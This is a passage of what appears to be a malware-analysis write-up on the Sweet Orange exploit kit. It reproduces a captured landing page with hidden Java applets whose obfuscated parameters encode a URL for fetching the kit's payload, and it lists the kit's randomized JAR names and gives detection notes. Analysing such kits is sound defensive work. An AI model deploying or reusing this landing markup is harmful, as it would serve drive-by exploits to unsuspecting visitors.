-rw-rw-r-- 1 remnux remnux  3156 2013-03-24 21:39 questions-oracle-5.php

Where the 5xxxx Byte is the landing from above and the 3xxx Byte is the landing below

<html><head>
<meta name="Keywords" content=" acronym, china, conservation, free  acronym,  acronym, wine" />
<meta name="author" content="acronym"  />
<meta name="robots" content="noindex,nofollow">
<meta name="Description" content="acronym" />
<title>acronym</title></head>
<body  bgcolor=ffffff>
<form>
  <fieldset>
    <legend>Personalia:</legend>
    Name: <input type="text" size="30"><br>
    Email: <input type="text" size="30"><br>
    Date of birth: <input type="text" size="10">
  </fieldset>
</form>

<applet  archive="ZFGdRgwA"  code="oVv.class"  width="30"  height="38">
<param value="103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107sdj110sdj96sdj99sdj114sdj45sdj111sdj103sdj111sdj62sdj97sdj110sdj110sdj106sdj114sdj60sdj49sdj52sdj50sdj37sdj103sdj100sdj107sdj111sdj60sdj51sdj55sdj50sdj37sdj101sdj113sdj110sdj109sdj115sdj60sdj48sdj49sdj37sdj98sdj110sdj117sdj100sdj113sdj60sdj52sdj54sdj50sdj37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj52sdj48sdj37sdj98sdj107sdj104sdj98sdj106sdj60sdj49sdj49sdj51sdj37sdj114sdj115sdj96sdj101sdj101sdj60sdj50sdj53sdj51sdj37sdj111sdj104sdj119sdj100sdj107sdj60sdj52sdj54sdj51sdj37sdj104sdj108sdj96sdj102sdj100sdj60sdj52sdj47sdj47" name="EOHPifL" />
<param value="86sdj117sdj77sdj49sdj47sdj75sdj65sdj45sdj100sdj119sdj100" name="XvrfNMu" />
<param value="108sdj96sdj115sdj103" name="AdbmXfUGgx" />
</applet>

<form>
  <fieldset>
    <legend>Personalia:</legend>
    Name: <input type="text" size="30"><br>
    Email: <input type="text" size="30"><br>
    Date of birth: <input type="text" size="10">
  </fieldset>
</form>


<applet  archive="YJbzv"  code="IPR.class"  width="30"  height="38">
<param  value="103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107sdj110sdj96sdj99sdj114sdj45sdj111sdj103sdj111sdj62sdj97sdj110sdj110sdj106sdj114sdj60sdj49sdj52sdj50sdj37sdj103sdj100sdj107sdj111sdj60sdj51sdj55sdj50sdj37sdj101sdj113sdj110sdj109sdj115sdj60sdj48sdj49sdj37sdj98sdj110sdj117sdj100sdj113sdj60sdj52sdj54sdj50sdj37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj52sdj48sdj37sdj98sdj107sdj104sdj98sdj106sdj60sdj49sdj49sdj51sdj37sdj114sdj115sdj96sdj101sdj101sdj60sdj50sdj53sdj51sdj37sdj111sdj104sdj119sdj100sdj107sdj60sdj52sdj54sdj51sdj37sdj104sdj108sdj96sdj102sdj100sdj60sdj52sdj47sdj47"  name="sSpwknEHBp" />
<param  value="86sdj117sdj77sdj49sdj47sdj75sdj65sdj45sdj100sdj119sdj100"  name="TvSRUWW" />
<param  value="108sdj96sdj115sdj103"  name="SyLIfT" />
</applet>

<form>
  <fieldset>
    <legend>Personalia:</legend>
    Name: <input type="text" size="30"><br>
    Email: <input type="text" size="30"><br>
    Date of birth: <input type="text" size="10">
  </fieldset>
</form>


<form>
  <fieldset>
    <legend>Personalia:</legend>
    Name: <input type="text" size="30"><br>
    Email: <input type="text" size="30"><br>
    Date of birth: <input type="text" size="10">
  </fieldset>
</form>
 
</body>
</html>

Same thing happens with strange user-agent and so on too, so to me it seems like SO is defaulting to this landing if something goes wrong.

Changes in use of parameters seen live by @kafeine over at Malware don't need coffee

 

7. The JARs name and class names vary

JAR filename and class filename seem to be obfuscated/randomized quite often
Applets seen last couple of days:


     16 ZFGdRgwA
     15 YJbzv
     11 mcINkf
     10 YZjcS
      4 NWHrh
      4 iaXbsJ
      4 dukuKs
      3 WpSKDOjL
      3 lnMFTpPw
      3 FGImY
      1 KQfEq
      1 JULeR
      1 CFcrzxiN
      1 ADyjw

Seem to be a pattern here [a-zA-Z]{5,8}
Look here for JAR analysis

8. SO seen from the network

landing












jars












exe













Ooops no MZ for the exe file -> obfuscated -> need to look into the java code(done here)

9. Detection


Seems like the signatures over @malwaresigs are still good.

10. The End


The fresh juice is served!

Happy squeezing Sweet Orange exploit Kit!